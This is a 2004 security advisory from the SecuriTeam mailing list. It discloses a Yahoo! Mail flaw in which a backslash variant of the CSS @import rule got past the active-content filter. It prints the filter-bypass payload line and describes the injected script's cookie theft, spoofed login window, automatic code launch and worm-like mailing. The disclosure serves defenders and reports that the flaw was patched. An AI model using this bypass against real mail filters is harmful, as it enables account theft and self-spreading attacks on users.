[NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking

From: SecuriTeam (support_at_securiteam.com)
Date: 08/26/04

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    To: list@securiteam.com
    Date: 26 Aug 2004 11:04:05 +0200

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      Yahoo! E-Mail Service Inadequate ActiveX Blocking


    Yahoo! Mail "gives you the freedom to access your email from home, the
    office, the road anywhere in the world there's a web-connected computer".

    A vulnerability in Yahoo! Mail allows hackers to develop an attack that
    could have caused significant computer damage during regular Internet use,
    this is due to inadequate filtering of potential harmful HTML code.


    The vulnerability resulted from the failure of Yahoo's active content
    filter to adequately block ActiveX controls and other active content
    components, and affected all Windows based system platforms that read
    e-mail messages using Yahoo Web-mail service. Active X controls are
    downloadable programs that run with the same rights and privileges as the
    user, allowing access to files and personal information stored on a local
    hard drive or shared folder. A no-click attack could have launched
    automatically once a user opened an e-mail message.

    For example, the vulnerability could have also potentially allowed a worm
    to read Windows address book, replicate and send itself to everyone in the
    address book, and have this process repeat at an exponential rate. It
    could have also harvested email addresses from local files, just like any
    other worm, and use the Yahoo web-mail vulnerability to send the email
    messages. Other web-based e-mail systems may be vulnerable to this

    Technical details:
    It is a potentially automatic attack. Users had to simply read the
    infected email message.

    There are two variants of this vulnerability.

    The purpose of Yahoo's active content filter is to block the injection of
    any active content into Yahoo! messages. However, the basic failure that
    allowed this vulnerability is that there was no blocking of a backslash
    that is used instead of the import rule.

    <style><!--@\ "http://www.finjan.com/mcrc/file.css";--></style>

    The injected JavaScript code inside the CSS file is responsible for:

     - Getting cookies.
     - Automatic launching of malicious code.
     - A possible identity theft using a spoofed re-login window.
     - Sending an e-mail message.

    The injected ActiveX control can be used for a destructive payload of the
    propagating worm. The basic attack does not require an ActiveX control.

    The ActiveX control is the payload that can be used to extend the attack
    to non-web mail users, or to perform any malicious activity, including
    formatting of the hard disk. Upon using the ActiveX control, end user may
    get a security warning. It depends on the security setting of the browser.

    http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp (Click
    on the 'test me' button after reading the disclaimer)

    Vendor Status:
    Yahoo! has already patched their Web-based e-mail services.


    The information has been provided by <mailto:dshalev@finjan.com> Dror


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